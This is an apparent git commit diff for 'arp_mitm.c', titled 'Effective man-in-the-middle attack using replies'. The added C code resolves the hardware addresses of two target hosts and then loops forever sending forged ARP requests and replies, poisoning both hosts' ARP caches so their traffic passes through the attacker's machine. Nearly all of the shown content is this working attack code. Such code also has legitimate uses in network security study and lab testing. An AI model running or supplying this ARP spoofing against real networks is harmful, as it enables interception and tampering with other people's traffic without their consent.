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Effective man-in-the-middle attack using replies

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Dimitri Lozeve 2016-05-27 16:21:09 +02:00
parent 5c873a958b
commit f8320a04ce
2 changed files with 20 additions and 7 deletions
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21
arp_mitm.c
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@ -121,10 +121,27 @@ int main(int argc, char **argv)
/* ====================================================================== */
send_arp_request(sockfd, ifindex, ipaddr2, macaddr, target1_ip);
struct ether_arp reply1;
listen_arp_frame(sockfd, &reply1);
unsigned char *macaddr1 = reply1.arp_sha;
printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr1[0],macaddr1[1],macaddr1[2],
macaddr1[3],macaddr1[4],macaddr1[5]);
send_arp_request(sockfd, ifindex, ipaddr1, macaddr, target2_ip);
struct ether_arp reply2;
listen_arp_frame(sockfd, &reply2);
unsigned char *macaddr2 = reply2.arp_sha;
printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
macaddr2[0],macaddr2[1],macaddr2[2],
macaddr2[3],macaddr2[4],macaddr2[5]);
while(1) {
send_arp_request(sockfd, ifindex, ipaddr1, macaddr, target2_ip);
send_arp_reply(sockfd, ifindex, ipaddr1, macaddr, target2_ip, macaddr2);
sleep(1);
send_arp_request(sockfd, ifindex, ipaddr2, macaddr, target1_ip);
send_arp_reply(sockfd, ifindex, ipaddr2, macaddr, target1_ip, macaddr1);
sleep(1);
}